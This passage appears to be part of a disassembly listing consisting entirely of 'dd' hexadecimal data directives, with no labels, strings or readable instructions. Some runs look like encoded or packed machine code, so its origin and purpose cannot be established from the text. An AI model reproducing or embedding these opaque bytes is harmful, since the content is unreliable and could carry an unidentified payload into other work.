		dd 350C7BE9h, 0B293F886h, 783F90F9h, 4FB415A3h,	0D66439FEh
		dd 184BA081h, 0F18E18D6h, 0C1A86DEFh, 0B6E15297h, 4217907h
		dd 30D8E004h, 8C3BC57Dh, 0C3B1F023h, 2186FBAFh,	6605881Fh
		dd 0F5FD34B7h, 0BBF7ADAAh, 0B1BEFA19h, 94A102B8h, 0B9h
		dd 184BA03Fh, 0F18E18D6h, 57BC4AF9h, 3354BD4Eh,	47DD5851h
		dd 30B34124h, 0B83BD0DBh, 8E7DAA81h, 899CEDF1h,	380D7200h
		dd 98AD0E6Fh, 0E1448C0Fh, 54093CA5h, 79FBAF71h,	101569CAh
		dd 2DEC0D76h, 6FC405C8h, 6A9D0694h, 1CCBADCh, 52A30CBBh
		dd 36242E69h, 95919188h, 0CCCD8C62h, 0ED9C4BF1h, 0B37CDD3Eh
		dd 98063DEh, 1FA2E2FDh,	0C1D0h,	2DE6CB00h, 0D2456BCCh
		dd 772E1071h, 1689B516h, 0B66B54B5h, 0D1462755h, 77D839EEh
		dd 1A7BDCB3h, 0BE1F8015h, 69C526E7h, 0C31DD104h, 0BB2F7B2h
		dd 69BA4C6h, 0D915489Dh, 0FEF18E18h, 0FF60C14Fh, 188FAF26h
		dd 0E647F695h, 881A495h, 0DE153085h, 359645D8h,	0D738F1D4h
		dd 5BDEAF76h, 0DD6E1224h, 304F01D6h, 0F859D2F3h, 94FD8E97h
		dd 59CCEE3Fh, 5F0DDC12h, 0BE4CFB12h, 4FC6E63Bh,	0DEB177CCh
		dd 0B720065Bh, 0FD9C1FF4h, 0CB7DCB4Eh, 5EC725ACh, 662FAC3Dh
		dd 5FC882EEh, 5EC9C22Ch, 0D8661512h, 0FBCA0726h, 5570D132h
		dd 130251D4h, 0AD000000h, 0EEC37FA0h, 32B9FC07h, 97CCE4EAh
		dd 0E9CFEE0h, 9DA40E63h, 192C8104h, 0F3B80D90h,	62469B1Eh
		dd 0E8D328ABh, 505BB033h, 0DBE338BBh, 426CC144h, 0CDF348CBh
		dd 578ED75Ah, 0C781E789h, 4, 4EF81h, 3C870000h,	2C895C24h
		dd 337B6824h, 14890000h, 0E0895024h, 405h, 42D00h, 4870000h
		dd 2C895C24h, 63BF5724h, 0F7294F6Dh, 91C781DFh,	8159AD40h
		dd 891E76CFh, 0B9CF8178h, 81075057h, 46B7F5C7h,	8BFA8986h
		dd 0C481243Ch, 4, 242C8B54h, 5004C483h,	8B8h, 45280500h
		dd 0E8011EE4h, 0E445282Dh, 5810891Eh, 53242C8Bh, 0C381E389h
		dd 4, 8704C383h, 0FF5C241Ch, 835A2434h,	76E904C4h, 7FFFB9Ch
		dd 0DC3AA07Ah, 0ACBFB853h, 0C5030624h, 1B4CE0FFh, 0E67B7485h
		dd 0CB010692h, 0FF634B2Ah, 1D9F5F2Ch, 16A02DC9h, 0B0A943C7h
		dd 0FF6B7EA2h, 900A1673h, 0F0E73E70h, 0BB356326h, 0BB032F1Fh
		dd 6C0E244Dh, 8EB205Ch,	4B5A86B0h, 77E7339Ch, 0D3CE9h
		dd 0AF2F6800h, 0CFE90624h, 68FFFACFh, 624B00Ah,	0FACFC5E9h
		dd 0B14668FFh, 0BBE90624h, 68FFFACFh, 624B264h,	0FACFB1E9h
		dd 0B3CB68FFh, 0A7E90624h, 68FFFACFh, 624B683h,	0FACF9DE9h
		dd 0B85168FFh, 93E90624h, 68FFFACFh, 624B951h, 0FACF89E9h
		dd 0A1604CFFh, 0C03F662Ah, 0DC258549h, 0F708A165h, 17EABC80h
		dd 939A54A0h, 0B377EE13h, 0D4980F00h, 0F2B62DD4h, 0AD34AB5h
		dd 0F50DE591h, 68A019AEh, 1B6245F5h, 4A699D77h,	0F3A09FC5h
		dd 22AB24C8h, 0D2D69E76h, 597D311Fh, 6B9413C7h,	0CA3167F4h
		dd 66689091h, 3CFB4E72h, 1F34E059h, 0AC15F082h,	0A448C7ECh
		dd 809E7212h, 850425F2h, 9997E259h, 39360975h, 0AD000000h
		dd 1F43BCEDh, 95A2BCh, 8136DB87h, 2FE315F0h, 0EB97209Dh
		dd 25F2C213h, 40BFE6A6h, 0B26206AEh, 0D1790BF6h, 0C13D11ADh
		dd 24A325F2h, 5C3881BAh, 0C1D50974h, 62000000h,	9ECBC7Ch
		dd 98BC60A1h, 0AE40BFE8h, 0C9367131h, 44B1F5A5h, 8D0A9C63h
		dd 0D3A209E1h, 44E89C1Fh, 47EB1694h, 59A601B5h,	6B9413C7h
		dd 0A71F44F4h, 0CC8C1FD3h, 0F1D9A3DCh, 97910555h, 0FAAD61F3h
		dd 27CB7305h, 0AB545303h, 0C8377034h, 3558DF36h, 0D89710BCh
		dd 2CEC15F0h, 0D62B7B7Ah, 21D50E32h, 0A1F443AAh, 0BF426828h
		dd 0E861852Dh, 1448043Ch, 6AE3971Ch, 8E05FCAAh,	0BE25DCCAh
		dd 0FA662430h, 16FE1DB3h, 1600000Bh, 30F46B96h,	4F138A75h
		dd 6B2FA65Bh, 864AC13Eh, 1E6AE120h, 0BC456164h,	0DD328145h
		dd 0FB06A266h, 18E7C084h, 0B35FD8A1h, 19AEF2DBh, 45C3366Eh
		dd 6529A061h, 0CF46BD42h, 870095A2h, 0F08136DBh, 0B62FE315h
		dd 0BE50AFF6h, 0E360F216h, 597D8223h, 0F2C1E9BDh, 0ED04F25h
		dd 745C6C2Dh, 0B18109h,	450E0000h, 64249D62h, 852DBF42h
		dd 8B1BCF61h, 1F44E476h, 551FD3A7h, 0A936AD52h,	8033C0E9h
		dd 0B159EB8Fh, 60CADD8Dh, 0D3A6DCB4h, 17BB6F1Fh, 84092E85h
		dd 0CC5E4B0Bh, 0D3A64820h, 8327DB1Fh, 0AC2549F1h, 0F0B78700h
		dd 8C1CDC15h, 0BA66E375h, 25F2B6E2h, 0F91DC175h, 2E950CC0h
		dd 5F0B8409h, 1C1423FCh, 0BC7CF5A9h, 0DCA017EAh, 48D037CAh
		dd 0BBFA6600h, 0A3B0625h, 713B0000h, 50551990h,	367438AFh
		dd 199054CBh, 0FBAB6FE6h, 89438F06h, 68DF2284h,	89000FA4h
		dd 0A71EE3C5h, 0C43BC4E3h, 0FED682FBh, 9119AEF1h, 6145E659h
		dd 426529A0h, 45CF46BDh, 570B9D62h, 0D138AF50h,	0FEAA2366h
		dd 15F0B135h, 0C464F6AAh, 25F2B0EFh, 3506D857h,	9744964h
		dd 6A289h, 95A21600h, 0A1A77F2Bh, 2D4D1FD3h, 54072D39h
		dd 0B4580C45h, 2E7A8F3Bh, 530715F0h, 0FBB44C1h,	25F26D37h
		dd 76AF6053h, 2E029EC2h, 9425F26Eh, 2772C915h, 0C609758Ch
		dd 667h, 95A253h, 0B26EDB87h, 2BEB15F0h, 0CE33757Eh, 77F4862Ah
		dd 0E90DF2B7h, 0F2B1794Dh, 2C62DF25h, 56DBB51Fh, 0B7325623h
		dd 32451427h, 34680974h, 0F5000006h, 12EDBC7Ch,	94B84762h
		dd 0BD46E08Ah, 0D3A13911h, 0AF50551Fh, 4B9EC276h, 8430A9ECh
		dd 15F081CBh, 7919AC60h, 99E5AB7Ch, 5C4938FFh, 0DA86FFA3h
		dd 0A824CCEDh, 0A724B66Ah, 0AD3FC0E7h, 0A98EE105h, 1EBF6BE4h
		dd 0C3AE4406h, 0DDB25D8Dh, 386F9F79h, 67F23C7h,	781C6146h
		dd 0CA96F8BFh, 8549C064h, 0FC76DD22h, 576854CCh, 8FFA2C1h
		dd 0ADFF0000h, 8C19DD54h, 7238FC73h, 5554188Fh,	376F33AAh
		dd 4D0753CAh, 2CA35E48h, 4DC44B68h, 6BE21F89h, 88FF00A7h
		dd 0C29A46BFh, 5519AEF0h, 6245AA1Dh, 4164249Dh,	0B1089ABEh
		dd 0DE8A0386h, 15F610AAh, 5A0A8135h, 25F84F96h,	0F228A1D6h
		dd 4C5A8168h, 557B23B5h, 1ECEE9CEh, 0A151758Ch,	0A0782406h
		dd 3325F7F0h, 0D764DB7Fh, 0F0CAA24Eh, 9D5D25F7h, 0A151F50Ah
		dd 0BF67F906h, 9CED489Bh, 0F0977723h, 863A25F7h, 986740F4h
		dd 0F08D7121h, 38F825F7h, 5A02947Bh, 0DF228636h, 0FE01A666h
		dd 89F63DAh, 0F1C565F7h, 525F7A0h, 18CC5EA3h, 59DD6F92h
		dd 0F22D00DEh, 1A67B63h, 0E4C387FEh, 15E9891Bh,	4B25F7F1h
		dd 659C0ECEh, 8C072BD3h, 0A5D8CF52h, 0C5EB164Fh, 0E85F030Ah
		dd 103B9h, 62454200h, 4564249Dh, 0F4FE28BAh, 3B907012h
		dd 9F06B65Ah, 0F6AA3C60h, 9C6543B2h, 2CBE620Ah,	0D327B48Ch
		dd 28D7D01Fh, 95F83F96h, 963C701Ch, 13C715F5h, 2F3F8ACh
		dd 0CEED83F0h, 7E1h, 0BF36CBE1h, 0DE55AAFBh, 0FA71901Ah
		dd 158C7336h, 35AC5551h, 80262FE9h, 6D460A81h, 41672BA2h
		dd 228549C0h, 249D66DDh, 0AEEFA078h, 88FB3319h,	0B9D6245h
		dd 3BB24F57h, 59D03177h, 76ED1295h, 940DF4B2h, 62AD5D4h
		dd 99E6C074h, 5F4B1ECFh, 27B95D1Fh, 3DCF4073h, 51E31C89h
		dd 0A18C52CDh, 2038A621h, 4313EB97h, 69B91FD3h,	2F0BF1B2h
		dd 0C0E498D1h, 0F46B9610h, 94520F4Ah, 119EF0h, 8C150000h
		dd 0D2C008E0h, 0C3E79B1Fh, 77DA60h, 45630000h, 6B0B9D62h
		dd 1FD3B197h, 0C8904ECDh, 9B101F92h, 82CAA0Ch, 39B04F58h
		dd 55CE3375h, 5EF01195h, 600092B6h, 1FD4178Bh, 72AF2FAEh
		dd 0DD54CB36h, 259E6345h, 98BC4565h, 9F565206h,	96E7508h
		dd 0CC4F0EECh, 6EF28428h, 7236EBF3h, 8E68188Fh,	0BE1FD39Bh
		dd 94BE5028h, 0FED07DF0h, 7C0AFFFFh, 0D6882246h, 27A77093h
		dd 4C2F556Ah, 4D688C8Ch, 39Fh, 9D6245D6h, 2853EE24h, 0C211BA17h
		dd 466A9512h, 43014B4h,	4CD71FD3h, 0E7188F92h, 6139E56Eh
		dd 7D1FD304h, 0E69AD32Ch, 20874BC2h, 10D04DDFh,	2ED66897h
		dd 48A6E0Ah, 0E9BE1FD3h, 68149D16h, 1FD30490h, 0B94B6F23h
		dd 47C0D562h, 0F573679Bh, 0D73EF215h, 0F002D0A1h, 7AEF0EA4h
		dd 7A000006h, 9458CF32h, 0B377EE11h, 0CF930AF7h, 0EAAE25DAh
		dd 82CE45BCh, 20E1C5C8h, 41CEE5A9h, 5FA206CAh, 7C8324E8h
		dd 17C33C05h, 19AEEE3Fh, 45279AD2h, 570B9D62h, 773BB24Fh
		dd 9458CF30h, 0A95DEF12h, 28B04FDh, 0D3A17E56h,	395D111Fh
		dd 36A823A7h, 0AFC9EC22h, 93F86989h, 1AE7BF6Fh,	3CC5E1A1h
		dd 0A2F7A118h, 4BF0947Eh, 2D3h,	0E78B8CC2h, 0CA3008B4h
		dd 0FC31FD2h, 9A8C62E9h, 93A21376h, 73FC85FEh, 0D3A1EFC7h
		dd 32CE821Fh, 1FD3A15Ah, 831539EDh, 9F624606h, 0A541650Dh
		dd 1E20A0A7h, 2038A625h, 0A113EB97h, 0F2A61EC2h, 0B96138CEh
		dd 0ECACF185h, 1E2147BAh, 85049C74h, 7C690226h,	0F6000002h
		dd 85FE93A2h, 8B1DE2C5h, 9A46BFE3h, 1FD3A1C2h, 0AB545515h
		dd 144D7119h, 0C851CE60h, 0D3A1441Ch, 0FF23D71Fh, 20A06563h
		dd 7A64E31Eh, 778A1EDEh, 83193DE5h, 0F185B936h,	23ED7h
		dd 93A26400h, 0FDD985FEh, 981FD3A1h, 0B4B252E4h, 0E01E20A0h
		dd 86792CC7h, 179C50E2h, 55D466F8h, 0C746A489h,	0B9552417h
		dd 1078F185h, 5000002h,	6F47F37Ch, 21FD3A1h, 5ED72A4Eh
		dd 2606B22Bh, 891FD3A1h, 0CA354C53h, 274B674Dh,	38C13AEEh
		dd 0D35AB48Ch, 835B071Fh, 161FD35Ah, 0FC752962h, 0D35A7850h
		dd 33570B1Fh, 4F6424A1h, 2009CC0h, 2E1E205Ah, 3FF3857Ch
		dd 0FB059768h, 5DBB726Ch, 0D3AB57E0h, 791EC259h, 0F952A808h
		dd 88BEF767h, 13747204h, 193DE1A1h, 0BEFB409Eh,	4FF18521h
		dd 19Bh, 1B6245DCh, 4FF54B79h, 0D728810Fh, 55F99D45h, 0CFA753DCh
		dd 621FD2D3h, 7BF88AAEh, 0D36E46F2h, 78011FD2h
		dd 0D2D3F4CCh, 2FD3871Fh, 0B34C5B0Bh, 6B79AF3Ch, 0FC27EFACh
		dd 92E81A5h, 489C2C02h,	56FA9380h, 161C31DDh, 0E06915F0h
		dd 0F2145C34h, 173BEF25h, 0F8982ADEh, 25F21524h, 68D30B8Ah
		dd 9753511h, 37BCh, 0F37C4900h,	0D3A16F47h, 2A4E021Fh
		dd 0B42D60D7h, 0F0806308h, 58501015h, 0C05028D4h, 2FE325F2h
		dd 0AD51F98Bh, 0C0A77B1Bh, 8E0D25F2h, 5DAEEB50h, 0BC3F0974h
		dd 0CC000000h, 17EABC7Ch, 9B9DD85h, 1BCF619Eh, 74FD768Bh
		dd 7C0EF1B4h, 0A16038D4h, 3FF31FD3h, 29699119h,	2C50282Ch
		dd 3EC1E69Ah, 366F2FACh, 6B8F37C9h, 0BA91ECBBh,	53A9409Ah
		dd 80B62FD3h, 9DB10BC9h, 50D75D87h, 76416653h, 8737AED2h
		dd 1FD36A62h, 79F00F98h, 0F7702512h, 0F4D6664Bh, 0E65F1315h
		dd 0A818026h, 3AA16046h, 0F007B446h, 0C24867FDh, 0C2000003h
		dd 0DCA017EAh, 0FBBF36C9h, 17DB52AFh, 32F66D92h, 0CA168D74h
		dd 68990D10h, 89862DF1h, 0A75A4E12h, 0C43B6C30h, 5F0B844Dh
		dd 19AEEB87h, 7C6FE21Ah, 0EF13EEBCh, 239A673Fh,	3EB7485Fh
		dd 0A13109B5h, 10C41FD3h, 45FE75ECh, 570B9D62h,	7636AF50h
		dd 1CE3C231h, 0AC3EE28Ah, 0AE52ADF8h, 6F7A0B88h, 6B8FD349h
		dd 0BE6F44F4h, 55E21FD2h, 83EC740h, 0DE6DEF0Dh,	152E9C52h
		dd 342FB6CAh, 0EFD06C90h, 9415EFC7h, 45F269E0h,	16149162h
		dd 0D3A1926Ah, 0CD71251Fh, 5DEF933Bh, 8A01FEA9h, 561CC7FDh
		dd 7EC660DAh, 54FAC458h, 284CA54Eh, 0B62F62D5h,	0C53A6D2Dh
		dd 0C3F005A1h, 0C97D15EFh, 431BC750h, 9625F1C2h, 0F1C312EAh
		dd 0B8F1A525h, 0D14EE004h, 45699611h, 0F1C2D5A9h, 22BC3B25h
		dd 0D02F7636h, 674316ACh, 548A0975h, 4752B0C6h,	983155EFh
		dd 3Dh,	7E95A225h, 0A24EF12Ah, 0B84280Dh, 0F053BA5Fh, 3AB36715h
		dd 0B1D52C7Ah, 93AB7F1Fh, 0E8BF25F2h, 0D8D18517h, 96119527h
		dd 34CDD948h, 0F856FAA2h, 83D66579h, 2A0975B2h,	0FAh, 9D6245B7h
		dd 0B24F570Bh, 0C43B6C20h, 1297E32h, 0D3A17D55h, 0B85C101Fh
		dd 0A76C9141h, 50D91FD3h, 0D3A6CCA4h, 0AF7E721Fh, 0F825FAFAh
		dd 0B28A36BFh, 451FD3A8h, 19C9ED91h, 6DFA718Eh,	8F78CB37h
		dd 57939B17h, 1908E3B2h, 30E004A8h, 9FF68877h, 0F37CF598h
		dd 61E481BDh, 5BD45F28h, 0D482D7AFh, 92B66A1Fh,	0F197CDF6h
		dd 178E4215h, 3A8087B0h, 9F533E35h, 0D07CF599h,	1C14B2F5h
		dd 0A565DE92h, 0A77F2B01h, 3A2C14F2h, 0A76BE286h, 4FB2F6FFh
		dd 900244ABh, 67FDFA67h, 1F448h, 49B8F400h, 68970ED2h
		dd 847D2DF1h, 9F60490Dh, 0BF426428h, 3B42FC48h,	5B1F966Bh
		dd 7C40B758h, 9A5ED52Ch, 0B27BF20Dh, 0E9B58D39h, 104819AEh
		dd 0CB61459Dh, 0D3A1471Fh, 16EE9A1Fh, 0A91FD3A2h, 6408BCF5h
		dd 817E29EDh, 0A46B4808h, 0EDBA6A12h, 0EA77EE12h, 0A1DDB561h
		dd 0BC701FD3h, 95A23598h, 0DFC78700h, 0C4E89022h, 80FA9F4Bh
		dd 0F3A715F0h, 0C0EDC161h, 0D45325F2h, 5D68310Ah, 0BE850974h
		dd 12000000h, 249D6245h, 98BC4364h, 0A1545206h,	0C153F708h
		dd 0D3A6FC21h, 8A75321Fh, 0A7584F13h, 0C6396E2Eh, 0DD6F9216h
		dd 287F1135h, 55017A0Fh, 15F0BA2Ch, 0DCA32B61h,	59EB1495h
		dd 67E48BB1h, 535BBEE4h, 33B4351Fh, 0AB22D60Fh,	259EF344h
		dd 8F67139Ch, 3525F318h, 0DA974ADBh, 0E9A9E27Ah, 9B143BCh
		dd 65A54165h, 81C14CDh,	8B1BDB54h, 6B3BFF76h, 0AA672F96h
		dd 48DEFA67h, 0F429h, 49B8F400h, 68970ED2h, 847D2DF1h
		dd 9F60490Dh, 0BF426428h, 3B42FC48h, 5B1F966Bh,	7C40B758h
		dd 9A5ED52Ch, 0B27BF20Dh, 0E8B58D39h, 104819AEh, 0A061459Dh
		dd 0BD426529h, 0DF228444h, 0A81A54Dh, 47F37C93h, 1FD3A16Fh
		dd 7A2A4E02h, 8C40D22Dh, 0AFD0D81Bh, 0FD05FF41h, 0C95BFF65h
		dd 79067D21h, 0D4962643h, 274B5449h, 0B52E63D4h, 0F5ABD909h
		dd 0FCE61C15h, 0EA777819h, 2DD12E79h, 0B0D42D7Dh, 7D31C377h
		dd 0D15ED52Ah, 0E1208848h, 0F7ED6D45h, 284C0025h, 3ED02F78h
		dd 762C709Eh, 479726F3h, 0AD625111h, 3559B6FDh,	66DD2285h
		dd 68FA05A2h, 8935F5B4h, 73762BB1h, 9628D9CDh, 5D01B5EEh
		dd 0D7AF5BE4h, 0F373762Bh, 13BB4DB2h, 3D7626DAh, 8A1CAED2h
		dd 594ED30Bh, 3C6B2FA6h, 1E8A4AC3h, 8A2ED3D7h, 7897F864h
		dd 0AED2AF08h, 3FD1Ch, 0A7860000h, 9A674540h, 0AC535408h
		dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh
		dd 20E1C97Dh, 34CBDA8Eh, 895386A2h, 4B951E3h, 1000000h
		dd 0EB8359CBh, 241C8704h, 18AC685Ch, 1C890000h,	5A806824h
		dd 14890000h, 68B85024h, 576F236h, 8F327791h, 48BC389h
		dd 4C48124h, 83000000h,	248904ECh, 24048324h, 0EC815A04h
		dd 4, 8F241C89h, 148B0842h, 0E1895124h,	4C181h,	0C1830000h
		dd 240C8704h, 241C8B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h
		dd 0FFFAC29Eh, 0BA6AB84Fh, 0C5030624h, 9747E0FFh, 52FC2E72h
		dd 0FA26852h, 97481807h, 0A1B02ACAh, 571E1020h,	4D76C02h
		dd 91CF7AA7h, 0A5E3275Ah, 8183258Dh, 2FCD1EE4h,	22A20026h
		dd 0F02F36E3h, 640259AFh, 78877D92h, 0EE8005A1h, 0C08B5F94h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 89C35646h
		dd 26395E75h, 840F9053h, 2, 0BD834FB3h,	61F06C1h, 83097500h
		dd 1F1F51BDh, 19740006h, 0C08B5350h, 3FCB8h, 65858900h
		dd 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h, 61F1Fh
		dd 53501774h, 3FCB8h, 65858900h, 8D061F0Fh, 21AC939Dh
		dd 5BD3FF06h, 0D8BF0F58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 62C35545h, 722432FFh,	0C803AFF2h, 6AC08BBAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5644C351h, 0F8DFFF65h, 0EF5BD83h,	0F01061Fh
		dd 4084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 17167FBDh, 61BD83A1h, 61F2Ah, 13850Fh
		dd 0BF0F0000h, 0F1BD83D3h, 61F20h, 87840Fh, 0DB800000h
		dd 3E3E997h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0AA32FC3h, 0E8A7160Fh, 0F84401Ah
		dd 48Ah, 61605100h, 38A0BB5Bh, 5FAFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0BA6B78C3h, 4186210Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0A9C35646h, 0A19E14ADh, 0C88AEEBAh, 1A40FA7Fh
		dd 9AF39F02h, 95F5DE32h, 467E88BFh, 95F57B57h, 444260BFh
		dd 0EE4CB7EFh, 0B28B49C3h, 95E19EECh, 6F09BBBFh, 10D96D39h
		dd 0C85A4206h, 0FF41A474h, 0E824610Ah, 18AFA906h, 0B7BE463Ah
		dd 0C7F51DB9h, 95F5B857h, 56AFFDBFh, 0B1A167E5h, 0B1B1F6BBh
		dd 95F5A3BBh, 56A79FBFh, 2143F63Ch, 6206F710h, 959F6B40h
		dd 95F635EEh, 0CCD5EEBFh, 0D97C2E7Ch, 0D174BF9Bh, 95E8D99Bh
		dd 0C4B4EEBFh, 0ECBC727Ch, 0FC6856FFh, 7CD0DFEAh, 95F5EEB4h
		dd 72196FD6h, 0C2479948h, 7C1B9CBAh, 95F5EA8Bh,	7DA377D5h
		dd 95F5BBBCh, 0CB36839Fh, 91D19A36h, 91D1333Eh,	95F5BBA3h
		dd 84368BF9h, 0DE92B96Bh, 0EC5F3F53h, 0B44EDDEFh, 149386B6h
		dd 0C075817Ch, 95F57757h
		dd 7874E6BFh, 93D1602Ah, 7DA5EED5h, 95F577BCh, 0CD36E39Fh
		dd 91D19936h, 91D1AA3Eh, 95F577A7h, 0CC36EBFFh,	0AD05481h
		dd 0E4E3235h, 1EB6A308h, 957FB47Fh, 5F5DDBFh, 95D260B0h
		dd 9B1D77BFh, 0EBF5BBBFh, 3D1E846Eh, 379901F9h,	0FDDF61E7h
		dd 95F853CBh, 5196DDBFh, 6C020AFCh, 8C30FAD8h, 0CF5B44D1h
		dd 644E8DE5h, 5FAF36Ch,	7DA377D5h, 95F5BBBCh, 0CB36839Fh
		dd 91D19A36h, 91D1333Eh, 95F5BBA8h, 85368BF9h, 0F32224AAh
		dd 94FAA434h, 7C0B9FF3h, 95F5DDB9h, 0ECC3BA93h,	1EAD9398h
		dd 5F74DD68h, 99F024EEh, 15F5EEBDh, 861CF160h, 0F0F5BBBFh
		dd 3DC9F8h, 6F75713Ch, 92D4FCFDh, 42668F34h, 9D7E2BD5h
		dd 95F763B0h, 0E4277BFh, 0A55D01D9h, 69BD56D9h,	4CC054D9h
		dd 95F57607h, 0FC1B3BBFh, 95F3342Eh, 7A78EEBFh,	9C56F92h
		dd 42B30EFh, 7DA6DDD5h,	95F5EEBCh, 0CE362C9Fh, 91D1E736h
		dd 91D1993Eh, 95F5EEAAh, 0C23624FCh, 0F3F409A9h, 959F0433h
		dd 95F606EFh, 0CDD577BFh, 0D17CE37Ch, 0D174D99Bh, 95E9EA9Bh
		dd 0C5B577BFh, 2802B37Ch, 73711CD7h, 9D1CA032h,	0BF577BFh
		dd 15445909h, 637A0C63h, 10FAEA7Eh, 95F57720h, 0AD3C3ADFh
		dd 9AEF3F69h, 0F3942C08h, 0F5ACA734h, 2BAC43E8h, 0EC7A5D18h
		dd 0FDCC6EDEh, 9503F2B0h, 0F04EBBBFh, 1EFDEDE0h, 9B1CEFC6h
		dd 0C2F577BFh, 0E14F394Dh, 0BA8EDF64h, 0EAC5DFFAh, 950AF69Ch
		dd 9A75BBBFh, 95F5123Dh, 0C4F584BFh, 95F57457h,	56AC9BBFh
		dd 0B1B954E6h, 0B1B16FBBh, 95F56EBBh, 56A4FABFh, 96EC0D12h
		dd 4A7EC2ADh, 2983F278h, 95F4BD9Bh, 6C95DDBFh, 3E3C5705h
		dd 2B1C1693h, 9AF5BBBFh, 95F5DD3Eh, 0F376FBFh, 7CE5A621h
		dd 95F5BB3Bh, 95F05EB0h, 1493EEBFh, 0CC55D17Ch,	7DA7BBD5h
		dd 95F5DDBCh, 0CF36B49Fh, 91D12336h, 91D1FF3Eh,	95F5DDA2h
		dd 0E236BCFDh, 4FC292C8h, 0C49F8364h, 922C675Ch, 1693FB5Ch
		dd 9A0A7CC6h, 95F5F83Bh, 0C5F5B7BFh, 95F5ED57h,	56AD57BFh
		dd 0B1B132E7h, 0B1B15CBBh, 95F5F4BBh, 56A537BFh, 7D31118Ah
		dd 7C9D15AEh, 95F5EEB8h, 1BAF3E3Bh, 2EF7083Ah, 9538811Fh
		dd 29836B78h, 95F4719Bh, 6674BBBFh, 83CCAFA5h, 0C0F584F7h
		dd 95F57457h, 56A89BBFh, 0B19954E2h, 0B1B16FBBh, 95F56CBBh
		dd 56A0FEBFh, 0ECE4C640h, 9B878687h, 0EEE9C504h, 0FE2702EBh
		dd 107893FCh, 93D12F5Ch, 55B4CA32h, 6DCEBD9Bh, 9AC5DACBh
		dd 7EB2276Eh, 0EC32F74Ah, 9672B4DFh, 9AF5DDBFh,	16942400h
		dd 8AFB8202h, 11FABAB9h, 95F5DD37h, 95E706E9h, 38DC77BFh
		dd 99BBD32Bh, 0C0122ABh, 0ECA5B876h, 72594696h,	0CEAE6B34h
		dd 0BF94603Ch, 9AF5E8A0h, 95F5283Ah, 0C0F5D1BFh, 95F5DE57h
		dd 56A8CEBFh, 0B199FEE2h, 0B1B13ABBh, 95F5C0BBh, 56A0ABBFh
		dd 23CB0B1Bh, 4886867Dh, 0EB4F3AC7h, 16B5E311h,	8AD58602h
		dd 11FABBB9h, 95F5DD80h, 7DA7EED5h, 95F577BCh, 0CF36E19Fh
		dd 91D18936h, 91D1AA3Eh, 95F577A2h, 0A536E9FDh,	0BA8786BCh
		dd 4ED2986Dh, 657F8288h, 95F51056h, 95F834BFh, 0AC38EEBFh
		dd 0F256CDD4h, 0FE5E9AB8h, 169EEAC3h, 8AFB1B02h, 10FA76B9h
		dd 95F5BBF3h, 95E55DB0h, 921DEEBFh, 6FF577BFh, 0B32944D3h
		dd 63751067h, 0F3A8B594h, 56873F04h, 7CC3483Fh,	95F5DDD7h
		dd 7DA6EED5h, 95F577BCh, 0CE36E09Fh, 91D18136h,	91D1AA3Eh
		dd 95F577A2h, 0E636E8FCh, 7739A432h, 0FDB28720h, 424A7854h
		dd 95E553E2h, 8302DDBFh, 59016AE0h, 3495CFB0h, 0CAEC0FA7h
		dd 767429DEh, 0DEE01AE9h, 959FB8E4h, 95F653E9h,	0CBD5DDBFh
		dd 0E17CB07Ch, 0D174739Bh, 95EFBF9Bh, 0C3B3DDBFh, 6982F67Ch
		dd 640CBE4Dh, 29340632h, 1878DB9Bh, 93D12F0Fh, 0AFA96A07h
		dd 407088C4h, 0BEF3C2AFh, 0FE270270h, 107893FCh, 93D12F5Ch
		dd 55B4CA32h, 6DCEBD9Bh, 9AC5DACBh, 7EB2276Eh, 0F305E983h
		dd 76BD83A4h, 624BCh, 8D8D0D74h, 61F4DB0h, 1B8h, 40E1FF00h
		dd 14E8h, 2E8BB100h, 4623C141h,	9BB23EE0h, 0D4142C8h, 5AC2D53Eh
		dd 5BF48AC9h, 83A3C380h, 6A2DE8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 880FDBC3h, 7,	0DA816650h
		dd 815A0E84h, 0C0AF82F3h, 0AE932h, 0EA700000h, 0A539AFA8h
		dd 42E241B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BB66AAC3h, 0BD83F97Dh, 61F06C1h
		dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h,	3FCB8h
		dd 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h
		dd 61F1Fh, 53501774h, 3FCB8h, 95858900h, 8D061F13h, 21ACAC9Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 66DAF601h, 0FB2BD281h, 13E9h, 26143500h
		dd 83157B80h, 401CB31Fh, 83824576h, 49288622h, 14E8C08Bh
		dd 0C000000h, 8D88BDD7h, 82657B30h, 0E5C9D663h,	6693D529h
		dd 8A5F95ECh, 0F535ADEh, 8158DBB7h, 5FF8C2h, 0FE900h, 0CCCF0000h
		dd 0E252F918h, 5937CAF5h, 8C334521h, 3FD4BF95h,	0C78103A3h
		dd 0FC5CD7F7h, 4ACB8166h, 6032FF4Ah, 0E080FB8Bh, 805E619Bh
		dd 0C68134E5h, 2A9D83B9h, 8E960h, 34520000h, 0AD830398h
		dd 0C580BB96h, 0F68161D8h, 53227EBAh, 30E88166h, 0F9C68144h
		dd 6066CFDEh, 8AD6BF0Fh, 0E85661C6h, 0Dh, 50BC0EB1h, 262E56EFh
		dd 2E599ACAh, 5B44B3A7h, 0BF0F028Fh, 3EA83D8h, 1C800Fh
		dd 13E80000h, 0F8000000h, 0B5BDB240h, 0F3413013h, 41BA7177h
		dd 81EFBD5h, 0D7801C05h, 0BB4A5B63h, 52E44753h,	76850F4Fh
